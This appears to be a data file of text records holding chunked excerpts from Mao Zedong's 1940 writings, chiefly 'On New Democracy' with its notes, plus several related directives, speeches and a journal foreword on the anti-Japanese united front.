    {"text": "所有这些情形，就规定了革命的三民主义，新三民主义，或真三民主义，必须是联俄的三民主义，决不能是同帝国主义联合反俄的三民主义。 第二，革命的三民主义，新三民主义，或真三民主义，必须是联共的三民主义。"},
    {"text": "因之清楚而又清楚，今日的三民主义，必须是联共的三民主义，否则，三民主义就要灭亡。 这是三民主义的存亡问题。 联共则三民主义存，反共则三民主义亡，谁能证明其不然呢？ 第三，革命的三民主义，新三民主义，或真三民主义，必须是农工政策的三民主义。"},
    {"text": "斯大林说：“所谓民族问题，实质上就是农民问题。 ” 〔25〕 这就是说，中国的革命实质上是农民革命，现在的抗日，实质上是农民的抗日。 新民主主义的政治，实质上就是授权给农民。 新三民主义，真三民主义，实质上就是农民革命主义。 大众文化，实质上就是提高农民文化。 抗日战争，实质上就是农民战争。 现在是“上山主义” 〔26〕 的时候，大家开会、办事、上课、出报、著书、演剧，都在山头上，实质上都是为的农民。 抗日的一切，生活的一切，实质上都是农民所给。"},
    {"text": "农民之外，中国人口中第二个部分就是工人。 中国有产业工人数百万，有手工业工人和农业工人数千万。 没有各种工业工人，中国就不能生活，因为他们是工业经济的生产者。 没有近代工业工人阶级，革命就不能胜利，因为他们是中国革命的领导者，他们最富于革命性。"},
    {"text": "如果有什么一种三民主义，它是没有农工政策的，它是并不真心实意扶助农工，并不实行“唤起民众”的，那就一定会灭亡。 由此可知，离开联俄、联共、扶助农工三大政策的三民主义，是没有前途的。"},
    {"text": "这种三大政策的三民主义，革命的三民主义，新三民主义，真三民主义，是新民主主义的三民主义，是旧三民主义的发展，是孙中山先生的大功劳，是在中国革命作为社会主义世界革命一部分的时代产生的。"},
    {"text": "只有这种三民主义，中国共产党才称之为“中国今日之必需”，才宣布“愿为其彻底实现而奋斗”。 只有这种三民主义，才和中国共产党在民主革命阶段中的政纲，即其最低纲领，基本上相同。"},
    {"text": "聪明的孙中山看到了这一点，得了苏联和中国共产党的助力，把三民主义重新作了解释，遂获得了新的历史特点，建立了三民主义同共产主义的统一战线，建立了第一次国共合作，取得了全国人民的同情，举行了一九二四年至一九二七年的革命。"},
    {"text": "如果是旧范畴的三民主义，那就同共产主义的最低纲领没有什么基本上相同之点，因为它是旧时期的，是过时了的。 如果有什么一种三民主义，它要反俄、反共、反农工，那就是反动的三民主义，它不但和共产主义的最低纲领没有丝毫相同之点，而且是共产主义的敌人，一切都谈不上。"},
    {"text": "汪精卫、李精卫们尽管起劲地干什么反俄、反共、反农工的伪三民主义，自会有一班有良心的有正义感的人们继续拥护孙中山的真三民主义。 如果说，一九二七年反动之后，还有许多真三民主义者继续为中国革命而奋斗，那末，在一个民族敌人深入国土的今天，这种人无疑将是成千成万的。"},
    {"text": "一定的文化是一定社会的政治和经济在观念形态上的反映。 在中国，有帝国主义文化，这是反映帝国主义在政治上经济上统治或半统治中国的东西。"},
    {"text": "在中国，又有半封建文化，这是反映半封建政治和半封建经济的东西，凡属主张尊孔读经、提倡旧礼教旧思想、反对新文化新思想的人们，都是这类文化的代表。"},
    {"text": "如我们在第三节中已经提过的话，中国自从发生了资本主义经济以来，中国社会就逐渐改变了性质，它不是完全的封建社会了，变成了半封建社会，虽然封建经济还是占优势。"},
    {"text": "这种资本主义经济，对于封建经济说来，它是新经济。 同这种资本主义新经济同时发生和发展着的新政治力量，就是资产阶级、小资产阶级和无产阶级的政治力量。 而在观念形态上作为这种新的经济力量和新的政治力量之反映并为它们服务的东西，就是新文化。 没有资本主义经济，没有资产阶级、小资产阶级和无产阶级，没有这些阶级的政治力量，所谓新的观念形态，所谓新文化，是无从发生的。 新的政治力量，新的经济力量，新的文化力量，都是中国的革命力量，它们是反对旧政治旧经济旧文化的。"},
    {"text": "中国社会的新旧斗争，就是人民大众（各革命阶级）的新势力和帝国主义及封建阶级的旧势力之间的斗争。 这种新旧斗争，即是革命和反革命的斗争。"},
    {"text": "在中国资产阶级民主革命的一百年中，分为前八十年和后二十年两个大段落。 这两大段落中，各有一个基本的带历史性质的特点，即在前八十年，中国资产阶级民主革命是属于旧范畴的；"},
    {"text": "一二 中国文化革命的历史特点 在中国文化战线或思想战线上，“五四”以前和“五四”以后，构成了两个不同的历史时期。 在“五四”以前，中国文化战线上的斗争，是资产阶级的新文化和封建阶级的旧文化的斗争。 在“五四”以前，学校与科举之争 〔27〕 ，新学与旧学之争，西学与中学之争，都带着这种性质。 那时的所谓学校、新学、西学，基本上都是资产阶级代表们所需要的自然科学和资产阶级的社会政治学说（说基本上，是说那中间还夹杂了许多中国的封建余毒在内）。 在当时，这种所谓新学的思想，有同中国封建思想作斗争的革命作用，是替旧时期的中国资产阶级民主革命服务的。 可是，因为中国资产阶级的无力和世界已经进到帝国主义时代，这种资产阶级思想只能上阵打几个回合，就被外国帝国主义的奴化思想和中国封建主义的复古思想的反动同盟所打退了，被这个思想上的反动同盟军稍稍一反攻，所谓新学，就偃旗息鼓，宣告退却，失了灵魂，而只剩下它的躯壳了。"},
    {"text": "五四运动是在一九一九年，中国共产党的成立和劳动运动的真正开始是在一九二一年，均在第一次世界大战和十月革命之后，即在民族问题和殖民地革命运动在世界上改变了过去面貌之时，在这里中国革命和世界革命的联系，是非常之显然的。"},
    {"text": "由于中国政治生力军即中国无产阶级和中国共产党登上了中国的政治舞台，这个文化生力军，就以新的装束和新的武器，联合一切可能的同盟军，摆开了自己的阵势，向着帝国主义文化和封建文化展开了英勇的进攻。"},
    {"text": "这支生力军在社会科学领域和文学艺术领域中，不论在哲学方面，在经济学方面，在政治学方面，在军事学方面，在历史学方面，在文学方面，在艺术方面（又不论是戏剧，是电影，是音乐，是雕刻，是绘画），都有了极大的发展。"},
    {"text": "而鲁迅，就是这个文化新军的最伟大和最英勇的旗手。 鲁迅是中国文化革命的主将，他不但是伟大的文学家，而且是伟大的思想家和伟大的革命家。"},
    {"text": "鲁迅是在文化战线上，代表全民族的大多数，向着敌人冲锋陷阵的最正确、最勇敢、最坚决、最忠实、最热忱的空前的民族英雄。 鲁迅的方向，就是中华民族新文化的方向。"},
    {"text": "在“五四”以前，中国的新文化，是旧民主主义性质的文化，属于世界资产阶级的资本主义的文化革命的一部分。 在“五四”以后，中国的新文化，却是新民主主义性质的文化，属于世界无产阶级的社会主义的文化革命的一部分。 在“五四”以前，中国的新文化运动，中国的文化革命，是资产阶级领导的，他们还有领导作用。 在“五四”以后，这个阶级的文化思想却比较它的政治上的东西还要落后，就绝无领导作用，至多在革命时期在一定程度上充当一个盟员，至于盟长资格，就不得不落在无产阶级文化思想的肩上。"},
    {"text": "这种文化，只能由无产阶级的文化思想即共产主义思想去领导，任何别的阶级的文化思想都是不能领导了的。 所谓新民主主义的文化，一句话，就是无产阶级领导的人民大众的反帝反封建的文化。"},
    {"text": "第一个时期是一九一九年到一九二一年的两年，第二个时期是一九二一年到一九二七年的六年，第三个时期是一九二七年到一九三七年的十年，第四个时期是一九三七年到现在的三年。"},
    {"text": "第一个时期是一九一九年五四运动到一九二一年中国共产党成立。 这一时期中以五四运动为主要的标志。 五四运动是反帝国主义的运动，又是反封建的运动。 五四运动的杰出的历史意义，在于它带着为辛亥革命还不曾有的姿态，这就是彻底地不妥协地反帝国主义和彻底地不妥协地反封建主义。 五四运动所以具有这种性质，是在当时中国的资本主义经济已有进一步的发展，当时中国的革命知识分子眼见得俄、德、奥三大帝国主义国家已经瓦解，英、法两大帝国主义国家已经受伤，而俄国无产阶级已经建立了社会主义国家，德、奥（匈牙利）、意三国无产阶级在革命中，因而发生了中国民族解放的新希望。 五四运动是在当时世界革命号召之下，是在俄国革命号召之下，是在列宁号召之下发生的。 五四运动是当时无产阶级世界革命的一部分。 五四运动时期虽然还没有中国共产党，但是已经有了大批的赞成俄国革命的具有初步共产主义思想的知识分子。 五四运动，在其开始，是共产主义的知识分子、革命的小资产阶级知识分子和资产阶级知识分子（他们是当时运动中的右翼）三部分人的统一战线的革命运动。"},
    {"text": "它提出了“平民文学”口号，但是当时的所谓“平民”，实际上还只能限于城市小资产阶级和资产阶级的知识分子，即所谓市民阶级的知识分子。"},
    {"text": "第二个时期，以中国共产党的成立和五卅运动、北伐战争为标志，继续了并发展了五四运动时三个阶级的统一战线，吸引了农民阶级加入，并且在政治上形成了这个各阶级的统一战线，这就是第一次国共两党的合作。"},
    {"text": "孙中山先生之所以伟大，不但因为他领导了伟大的辛亥革命（虽然是旧时期的民主革命），而且因为他能够“适乎世界之潮流，合乎人群之需要”，提出了联俄、联共、扶助农工三大革命政策，对三民主义作了新的解释，树立了三大政策的新三民主义。"},
    {"text": "在这以前，三民主义是和教育界、学术界、青年界没有多大联系的，因为它没有提出反帝国主义的口号，也没有提出反封建社会制度和反封建文化思想的口号。"},
    {"text": "在这以前，它是旧三民主义，这种三民主义是被人们看成为一部分人为了夺取政府权力，即是说为了做官，而临时应用的旗帜，看成为纯粹政治活动的旗帜。"},
    {"text": "在这一时期中，这种革命的三民主义，成了国共两党和各个革命阶级的统一战线的政治基础，“共产主义是三民主义的好朋友”，两个主义结成了统一战线。"},
    {"text": "那时，以共产党的《向导周报》 〔30〕 ，国民党的上海《民国日报》 〔31〕 及各地报纸为阵地，曾经共同宣传了反帝国主义的主张，共同反对了尊孔读经的封建教育，共同反对了封建古装的旧文学和文言文，提倡了以反帝反封建为内容的新文学和白话文。"},
    {"text": "因为在前一时期的末期，革命营垒中发生了变化，中国大资产阶级转到了帝国主义和封建势力的反革命营垒，民族资产阶级也附和了大资产阶级，革命营垒中原有的四个阶级，这时剩下了三个，剩下了无产阶级、农民阶级和其他小资产阶级（包括革命知识分子），所以这时候，中国革命就不得不进入一个新的时期，而由中国共产党单独地领导群众进行这个革命。"},
    {"text": "这一时期，是一方面反革命的“围剿”，又一方面革命深入的时期。 这时有两种反革命的“围剿”：军事“围剿”和文化“围剿”。 也有两种革命深入：农村革命深入和文化革命深入。"},
    {"text": "这两种“围剿”，在帝国主义策动之下，曾经动员了全中国和全世界的反革命力量，其时间延长至十年之久，其残酷是举世未有的，杀戮了几十万共产党员和青年学生，摧残了几百万工人农民。"},
    {"text": "在中国革命的曲线运动中，又来了一次四个阶级的统一战线，但是范围更放大了，上层阶级包括了很多统治者，中层阶级包括了民族资产阶级和小资产阶级，下层阶级包括了一切无产者，全国各阶层都成了盟员，坚决地反抗了日本帝国主义。"},
    {"text": "一部分所谓欧美派的文化人 〔32〕 （我说的是一部分），他们曾经实际赞助过国民党政府的文化“剿共”，现在似乎又在赞助什么“限共”、“溶共”政策。"},
    {"text": "当作国民文化的方针来说，居于指导地位的是共产主义的思想，并且我们应当努力在工人阶级中宣传社会主义和共产主义，并适当地有步骤地用社会主义教育农民及其他群众。"},
    {"text": "因为在现阶段革命的基本任务主要地是反对外国的帝国主义和本国的封建主义，是资产阶级民主主义的革命，还不是以推翻资本主义为目标的社会主义的革命。"},
    {"text": "以社会主义为内容的国民文化必须是反映社会主义的政治和经济的。 我们在政治上经济上有社会主义的因素，反映到我们的国民文化也有社会主义的因素； 但就整个社会来说，我们现在还没有形成这种整个的社会主义的政治和经济，所以还不能有这种整个的社会主义的国民文化。"},
    {"text": "由于现时的中国革命是世界无产阶级社会主义革命的一部分，因而现时的中国新文化也是世界无产阶级社会主义新文化的一部分，是它的一个伟大的同盟军；"},
    {"text": "这种一部分，虽则包含社会主义文化的重大因素，但是就整个国民文化来说，还不是完全以社会主义文化的资格去参加，而是以人民大众反帝反封建的新民主主义文化的资格去参加的。 由于现时中国革命不能离开中国无产阶级的领导，因而现时的中国新文化也不能离开中国无产阶级文化思想的领导，即不能离开共产主义思想的领导。 但是这种领导，在现阶段是领导人民大众去作反帝反封建的政治革命和文化革命，所以现在整个新的国民文化的内容还是新民主主义的，不是社会主义的。 在现时，毫无疑义，应该扩大共产主义思想的宣传，加紧马克思列宁主义的学习，没有这种宣传和学习，不但不能引导中国革命到将来的社会主义阶段上去，而且也不能指导现时的民主革命达到胜利。"},
    {"text": "但是我们既应把对于共产主义的思想体系和社会制度的宣传，同对于新民主主义的行动纲领的实践区别开来； 又应把作为观察问题、研究学问、处理工作、训练干部的共产主义的理论和方法，同作为整个国民文化的新民主主义的方针区别开来。"},
    {"text": "由此可知，现阶段上中国新的国民文化的内容，既不是资产阶级的文化专制主义，又不是单纯的无产阶级的社会主义，而是以无产阶级社会主义文化思想为领导的人民大众反帝反封建的新民主主义。"},
    {"text": "中国应该大量吸收外国的进步文化，作为自己文化食粮的原料，这种工作过去还做得很不够。 这不但是当前的社会主义文化和新民主主义文化，还有外国的古代文化，例如各资本主义国家启蒙时代的文化，凡属我们今天用得着的东西，都应该吸收。"},
    {"text": "但是一切外国的东西，如同我们对于食物一样，必须经过自己的口腔咀嚼和胃肠运动，送进唾液胃液肠液，把它分解为精华和糟粕两部分，然后排泄其糟粕，吸收其精华，才能对我们的身体有益，决不能生吞活剥地毫无批判地吸收。"},
    {"text": "中国共产主义者对于马克思主义在中国的应用也是这样，必须将马克思主义的普遍真理和中国革命的具体实践完全地恰当地统一起来，就是说，和民族的特点相结合，经过一定的民族形式，才有用处，决不能主观地公式地应用它。"},
    {"text": "中国现时的新政治新经济是从古代的旧政治旧经济发展而来的，中国现时的新文化也是从古代的旧文化发展而来，因此，我们必须尊重自己的历史，决不能割断历史。"},
    {"text": "民族的科学的大众的文化，就是人民大众反帝反封建的文化，就是新民主主义的文化，就是中华民族的新文化。 新民主主义的政治、新民主主义的经济和新民主主义的文化相结合，这就是新民主主义共和国，这就是名副其实的中华民国，这就是我们要造成的新中国。"},
    {"text": "注 释 * 这是毛泽东一九四〇年一月九日在陕甘宁边区文化协会第一次代表大会上的讲演，原题为《新民主主义的政治与新民主主义的文化》，载于一九四〇年二月十五日延安出版的《中国文化》创刊号。"},
    {"text": "〔2〕 “政治是经济的最集中的表现”一语，见列宁《论工会、目前局势及托洛茨基同志的错误》（《列宁全集》第40卷，人民出版社1986年版，第212页）。 〔3〕 见马克思《〈政治经济学批判〉序言》（《马克思恩格斯选集》第2卷，人民出版社1972年版，第82页）。"},
    {"text": "”（《马克思恩格斯选集》第1卷，人民出版社1972年版，第19页） 〔5〕 见本书第一卷《论反对日本帝国主义的策略》注〔35〕。 〔6〕 见本书第一卷《论反对日本帝国主义的策略》注〔36〕。"},
    {"text": "〔8〕 见本书第一卷《矛盾论》注〔22〕。 〔9〕 见本卷《论持久战》注〔12〕。 〔10〕 见本书第一卷《湖南农民运动考察报告》注〔3〕。 〔11〕 见本书第一卷《实践论》注〔6〕。 〔12〕 见斯大林《十月革命和民族问题》（《斯大林选集》上卷，人民出版社1979年版，第126页）。 〔13〕 见本书第一卷《论反对日本帝国主义的策略》注〔31〕。"},
    {"text": "他指出：在《新民主主义论》中讲到，第二次世界大战爆发以后，殖民地和半殖民地的资产阶级，要就是站在帝国主义战线方面，要就是站在反帝国主义战线方面，没有其他的道路。"},
    {"text": "张君劢在五四运动后宣扬一种自称为“新玄学”的唯心主义的哲学思想，提倡自孔孟以至宋明理学的所谓“精神文明”，同时又鼓吹“自由意志”，一九二三年引起了一场“科学与玄学”的争论，当时张君劢被称为“玄学鬼”。"},
    {"text": "一九三八年十二月，他经蒋介石授意，发表《致毛泽东先生一封公开信》，主张取消八路军、新四军及陕甘宁边区，要求“将马克思主义暂搁一边”，为蒋介石张目。"},
    {"text": "〔22〕 一九三三年，国民党中央组织部部长陈立夫发表《唯生论》一书，宣扬宇宙的实质是“生命之流”，万物的根本问题在于“求生”，用来反对阶级斗争的学说；"},
    {"text": "其主要内容是：用军事方法强迫劳动人民在村公所控制的固定份地上，或官办的工厂、商店里，从事农奴式的劳动，只将很小一部分劳动果实，按劳动情况分配给劳动者。"},
    {"text": "〔25〕 一九二五年三月三十日，斯大林在共产国际执行委员会南斯拉夫委员会会议上的演讲《论南斯拉夫的民族问题》中说：“……农民是民族运动的主力军，没有农民这支军队，就没有而且也不可能有声势浩大的民族运动。"},
    {"text": "”（《斯大林全集》第7卷，人民出版社1958年版，第61页） 〔26〕 在中国共产党内，曾经有些教条主义者讥笑毛泽东注重农村革命根据地为“上山主义”。 毛泽东在这里是用教条主义者的这句讽刺话，说明农村革命根据地的伟大作用。"},
    {"text": "〔28〕 一九一九年的五四爱国运动，至六月初转入一个新的阶段，以六月三日北京学生反抗军警镇压，集会讲演开始，由学生的罢课，发展到上海、南京、天津、杭州、武汉、九江及山东、安徽各地的工人罢工，商人罢市。"},
    {"text": "〔34〕 见列宁《俄国社会民主党人的任务》（《列宁全集》第2卷，人民出版社1984年版，第443页）； 并见列宁《怎么办？ 》第一章第四节（《列宁全集》第6卷，人民出版社1986年版，第23页）。"},
    {"text": "克服投降危险，力争时局好转 克服投降危险，力争时局好转 * （一九四〇年一月二十八日） 目前时局发展的情况，证明中央的历次估计是正确的。大地主大资产阶级的投降方向和无产阶级、农民、城市小资产阶级、中等资产阶级的抗战方向，是对立的，双方在斗争中。目前是两种方向同时存在，两种前途都有可能。在这里应使全党同志认识的，就是不要把各地发生的投降、反共、倒退等严重现象孤立起来看。对于这些现象，应认识其严重性，应坚决反抗之，应不被这些现象的威力所压倒。如果没有这种精神，如果没有坚决反抗这些现象的正确方针，如果听任国民党顽固派的“军事限共”和“政治限共”发展下去，如果只从惧怕破裂统一战线一点设想，那末，抗战的前途就是危险的，投降和反共就将全国化，统一战线就有破裂的危险。必须认清目前国内国际尚存在着许多利于我们争取继续抗战、继续团结和继续进步的客观条件。例如，日本对华方针依然是非常强硬的；英美法和日本之间的矛盾虽已部分缩小，但并未真正协调，而且英法在东方的地位又被欧战削弱，因而所谓远东慕尼黑会议很难召集；苏联积极援助中国。这些都是使国民党不易投降妥协和不易举行全国反共战争的国际条件。又如，共产党、八路军、新四军坚决反对投降，坚持抗战团结的方针；中间阶级也反对投降；国民党内部投降派和顽固派虽然握有权力，但在数量上只占少数。这些都是使国民党不易投降妥协和不易举行全国反共战争的国内条件。在上述情况下，党的任务就在于：一方面，坚决反抗投降派顽固派的军事进攻和政治进攻；又一方面，积极发展全国党政军民学各方面的统一战线，力争国民党中的大多数，力争中间阶层，力争抗战军队中的同情者，力争民众运动的深入，力争知识分子，力争抗日根据地的巩固和抗日武装、抗日政权的发展，力争党的巩固和进步。如此双管齐下，就有可能克服大地主大资产阶级的投降危险并争取时局的好转前途。所以，力争时局好转，同时提起可能发生突然事变（在目前是局部的、地方性的突然事变）的警觉性，这就是党的目前政策的总方针。 汪精卫公布卖国协定 〔1〕 和蒋介石发表告国人书 〔2〕 之后，一方面，和平空气必受一个打击，抗战势力必有一个发展；又一方面，则“军事限共”和“政治限共”还会继续，地方事变还会发生，国民党有强调所谓“统一对外”以进攻我们之可能。这是因为在最近时期内，抗战和进步势力还不可能发展到足以全部压服投降和倒退势力的缘故。我们的方针，就在于在全国范围内一切有共产党组织的地方，极力扩大反对汪精卫卖国协定的宣传。蒋的宣言表示了他要继续抗战，但是他没有强调全国必须加强团结，没有提到任何坚持抗战和进步的方针；而没有这种方针，便无法坚持抗战。因此，我们应该在反汪运动中强调如下各项：（一）拥护抗战到底的国策，反对汪精卫的卖国协定；（二）全国人民团结起来，打倒汉奸汪精卫，打倒汪精卫的伪中央；（三）拥护国共合作，打倒汪精卫的反共政策；（四）反共就是汪精卫分裂抗日统一战线的阴谋，打倒暗藏的汪派汉奸；（五）加紧全国团结，消灭内部磨擦；（六）革新内政，开展宪政运动，树立民主政治；（七）开放党禁，允许抗日党派的合法存在；（八）保证人民有抗日反汉奸的言论集会自由权；（九）巩固抗日根据地，反对汪派汉奸的阴谋破坏；（十）拥护抗日有功的军队，充分接济前线；（十一）发展抗战文化，保护进步青年，取缔汉奸言论。以上这些口号，应公开发布之。各地应大量发表文章、宣言、传单、演说和小册子，并增加适合地方情况的口号。 延安定二月一日召开反对汪精卫卖国协定的民众大会。各地应在二月上旬或中旬，联合各界和国民党抗日派，普遍举行民众大会，掀起全国反投降反汉奸反磨擦的热潮。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。 〔1〕 指一九三九年十一月日本帝国主义交付汪精卫集团的《日支新关系调整要纲》。该“要纲”由脱离汪精卫集团的高宗武、陶希圣一九四〇年一月在香港公布。主要内容有：汪伪政权承认“满洲国”；确定日本在蒙疆（指长城线以北地区，包括长城线在内）、华北、长江下游和华南沿海特定岛屿的不同的政治、军事、经济特权；自中央到地方的伪政府，都由日本顾问或职员监督；伪军和伪警察，由日籍教官训练，武器也由日本供给；伪政府财政经济政策，工业、农业和交通事业，都由日本控制；一切资源，任由日本开发利用；汪日共同防共等等。汪精卫集团于一九三九年十二月三十日与日方秘密签订了这个卖国协定，其内容有所修改。 〔2〕 指一九四〇年一月二十四日由国民党中央社发表的蒋介石《为〈日汪密约〉告全国军民书》。"},
    {"text": "团结一切抗日力量，反对反共顽固派 团结一切抗日力量， 反对反共顽固派 * （一九四〇年二月一日） 我们延安的各界人民今天在这里开会，为了什么呢？ 为了声讨卖国贼汪精卫 〔1〕 ，又是为了团结一切抗日力量，反对反共顽固派。"},
    {"text": "在湖南就闹平江惨案 〔2〕 ，在河南就闹确山惨案 〔3〕 ，在山西就闹旧军打新军 〔4〕 ，在河北就闹张荫梧打八路军 〔5〕 ，在山东就闹秦启荣打游击队 〔6〕 ，在鄂东就闹程汝怀杀死五六百个共产党员 〔7〕 ，在陕甘宁边区就闹内部的“点线工作” 〔8〕 、外部的“封锁工作”，并且还准备着军事进攻 〔9〕 。"},
    {"text": "对于那些丧尽天良的坏蛋，对于那些敢于向八路军新四军阵地后面打枪的人，对于那些敢于闹平江惨案、确山惨案的人，对于那些敢于破坏边区的人，对于那些敢于攻打进步军队、进步团体、进步人员的人，我们是决不能容忍的，是必定要还击的，是决不能让步的。"},
    {"text": "对于这些人，如果不加以惩罚，我们就是犯错误，就是纵容汉奸国贼，就是不忠实于民族抗战，就是不忠实于祖国，就是纵容坏蛋来破裂统一战线，就是违背了党的政策。"},
    {"text": "因此，我们对于那些忠心抗日的人，对于一切非投降派、非反共顽固派的人们，对于这样的国民党员，是表示好意的，是团结他们的，是尊重他们的，是愿意和他们长期合作以便把国家弄好的。"},
    {"text": "我们党的这些政策，为了达到一个目的，这就是力争时局好转，战胜日本。 我们共产党和全国人民的任务，就是团结一切抗日的进步的势力，抵抗一切投降的倒退的势力，力争时局的好转，挽救时局的逆转。"},
    {"text": "他们高唤统一，却原来是要取消共产党、八路军、新四军和陕甘宁边区，说有共产党、八路军、新四军和边区存在，中国就不统一，他们要把全国一切都化为国民党；"},
    {"text": "老实说，过去如果没有共产党、八路军、新四军和陕甘宁边区真心实意地出来主张停止内战一致抗日，那就无人发起抗日民族统一战线，无人领导和平解决西安事变，那就无从实行抗日。 今天如果没有共产党、八路军、新四军、陕甘宁边区和各抗日民主根据地真心实意地出来维持抗日的大局，反对投降、分裂、倒退的危险倾向，那就会弄得一团糟。"},
    {"text": "这里一没有贪官污吏，二没有土豪劣绅，三没有赌博，四没有娼妓，五没有小老婆，六没有叫化子，七没有结党营私之徒，八没有萎靡不振之气，九没有人吃磨擦饭 〔13〕 ，十没有人发国难财，为什么要取消它呢？"},
    {"text": "〔3〕 确山惨案，也称竹沟惨案、竹沟事变。 一九三九年十一月十一日，河南省确山、信阳、泌阳等县的国民党反动武装一千八百余人，围攻确山县竹沟镇新四军留守处，惨杀因抗日受伤的新四军干部、战士和他们的家属以及当地群众共二百余人。"},
    {"text": "〔4〕 旧军，指国民党山西地方实力派阎锡山指挥的晋绥军。 新军，指抗日战争初期，由中国共产党人在与阎锡山建立统一战线的过程中组建和领导的、以山西青年抗敌决死队为主力的山西人民的抗日武装。 一九三九年十二月，阎锡山在蒋介石掀起的第一次反共高潮中，与日本侵略军相勾结，集中晋绥军六个军的兵力，向驻在山西西部的新军进攻。"},
    {"text": "同时，在山西的东南部，旧军又同国民党中央军中的顽固派相配合进攻新军，摧毁沁水、阳城、晋城、高平、长治等县的抗日民主政权和人民团体，屠杀了大批的共产党员和进步分子。"},
    {"text": "一九三九年三月三十日，他的部队在山东博山太河镇伏击八路军山东纵队第三支队南下受训干部及护送部队，逮捕和杀害团级以下干部二百余人。"},
    {"text": "〔9〕 在一九三九年初至一九四〇年六月，国民党军队不断向陕甘宁边区发动军事进攻，占领了边区所属的淳化、旬邑、正宁、宁县、镇原五座县城。"},
    {"text": "〔10〕 在抗日战争期间，国民党反动派模仿德意法西斯的办法，从中国西北的兰州、西安至东南的赣州、上饶等地，设立了很多集中营，用以囚禁大批的共产党员、爱国人士和进步青年。"},
    {"text": "向国民党的十点要求 向国民党的十点要求 * （一九四〇年二月一日） 二月一日延安举行讨汪大会，全场义愤激昂，一致决议声讨汪精卫之卖国投降，拥护抗战到底。"},
    {"text": "若无全国讨汪运动，从都市以至乡村，从上级以至下级，动员党、政、军、民、报、学各界，悉起讨汪，则汪党不绝，汪祸长留，外引敌人，内施破坏，其为害有不堪设想者。 宜由政府下令，唤起全国人民讨汪。"},
    {"text": "今之论者不言团结而言统一，其意盖谓惟有取消共产党，取消八路军新四军，取消陕甘宁边区，取消各地方抗日力量，始谓之统一。 不知共产党、八路军、新四军、陕甘宁边区，乃全国主张统一之最力者。"},
    {"text": "主张西安事变 〔2〕 和平解决者，非共产党、八路军、新四军与边区乎？ 发起抗日民族统一战线，主张建立统一民主共和国而身体力行之者，非共产党、八路军、新四军与边区乎？ 立于国防之最前线抗御敌军十七个师团，屏障中原、西北，保卫华北、江南，坚决实行三民主义与《抗战建国纲领》 〔3〕 者，非共产党、八路军、新四军与边区乎？"},
    {"text": "若夫共产党、八路军、新四军与边区，则坚决提倡真统一，反对假统一； 提倡合理的统一，反对不合理的统一； 提倡实际上的统一，反对形式上的统一。"},
    {"text": "非统一于投降而统一于抗战，非统一于分裂而统一于团结，非统一于倒退而统一于进步。 以抗战、团结、进步三者为基础之统一乃真统一，乃合理统一，乃实际统一。"},
    {"text": "演变所极，湖南则有平江惨案，河南则有确山惨案，河北则有张荫梧进攻八路军，山东则有秦启荣消灭游击队，鄂东有程汝怀惨杀共产党员五六百之众，陇东有中央军大举进攻八路驻防军之举，而最近山西境内复演出旧军攻击新军并连带侵犯八路军阵地之惨剧 〔5〕 。"},
    {"text": "〔1〕 见本卷《克服投降危险，力争时局好转》注〔1〕。 〔2〕 参见本书第一卷《关于蒋介石声明的声明》注〔1〕。 〔3〕 见本卷《陕甘宁边区政府、第八路军后方留守处布告》注〔3〕。"},
    {"text": "〔4〕 《限制异党活动办法》、《异党问题处理办法》、《处理异党问题实施方案》，见本卷《必须制裁反动派》注〔5〕。 〔5〕 以上事件见本卷《团结一切抗日力量，反对反共顽固派》注〔2〕至注〔7〕和注〔9〕。"},
    {"text": "毛泽东在这里所举的国民党反共军队在陇东和山西境内对人民军队的进攻，就是指一九三九年十二月国民党发动的两次大规模的军事进攻。 到一九四〇年春，蒋介石又指令朱怀冰、石友三、庞炳勋等率领国民党反共军队，大举进攻太行、冀南等根据地的八路军。"},
    {"text": "中国共产党在全国人民面前，坚决地揭露了国民党的种种反共反人民的罪行，取得了政治斗争的重大胜利。 同时，共产党又领导根据地的广大军民，在军事上展开坚决的自卫反击，彻底击败了国民党反共军队的进攻。"},
    {"text": "《中国工人》发刊词 《中国工人》发刊词 （一九四〇年二月七日） 《中国工人》 〔1〕 的出版是必要的。中国工人阶级，二十年来，在自己的政党——中国共产党的领导之下展开了英勇的斗争，成了全国人民中最有觉悟的部分，成了中国革命的领导者。中国工人阶级联合农民和一切革命的人民反对帝国主义和封建主义，为建立新民主主义的中国而斗争，为驱逐日本帝国主义而斗争，这个功劳是非常之大的。但是中国革命尚未成功，还须付出很大的气力，团结自己，团结农民和其他小资产阶级，团结知识分子，团结一切革命的人民。这是极大的政治任务和组织任务。这是中国共产党的责任，这是工人阶级先进分子的责任，这是整个工人阶级的责任。工人阶级和全体人民的最后解放，只能在社会主义实现的时代，中国工人阶级必须为此最后目的而奋斗。但是必须经过反帝反封建的民主革命的阶段，才能进到社会主义的阶段。所以，团结自己和团结人民，反对帝国主义和封建主义，为建立新民主主义的新中国而奋斗，这就是中国工人阶级的当前的任务。《中国工人》的出版，就是为了这一个任务。 《中国工人》将以通俗的言语解释许多道理给工人群众听，报道工人阶级抗日斗争的实际，总结其经验，为完成自己的任务而努力。 《中国工人》应该成为教育工人、训练工人干部的学校，读《中国工人》的人就是这个学校的学生。工人中间应该教育出大批的干部，他们应该有知识，有能力，不务空名，会干实事。没有一大批这样的干部，工人阶级要求得解放是不可能的。 工人阶级应欢迎革命的知识分子帮助自己，决不可拒绝他们的帮助。因为没有他们的帮助，自己就不能进步，革命也不能成功。 我希望这个报纸好好地办下去，多载些生动的文字，切忌死板、老套，令人看不懂，没味道，不起劲。 一个报纸既已办起来，就要当作一件事办，一定要把它办好。这不但是办的人的责任，也是看的人的责任。看的人提出意见，写短信短文寄去，表示欢喜什么，不欢喜什么，这是很重要的，这样才能使这个报办得好。 以上，是我的希望，就当作发刊词。 注 释 〔1〕 《中国工人》月刊，由中共中央职工运动委员会主办，一九四〇年二月在延安创刊，一九四一年三月终刊。 必须强调团结和进步 必须强调团结和进步 * （一九四〇年二月七日） 抗战、团结、进步，这是共产党在去年“七七”纪念时提出的三大方针。这是三位一体的方针，三者不可缺一。如果单单强调抗战而不强调团结和进步，那末，所谓“抗战”是靠不住的，是不能持久的。缺乏团结和进步纲领的抗战，终久会有一天要改为投降，或者归于失败。我们共产党认为一定要三者合一为。了抗战就要反对投降，反对汪精卫的卖国协定 〔1〕 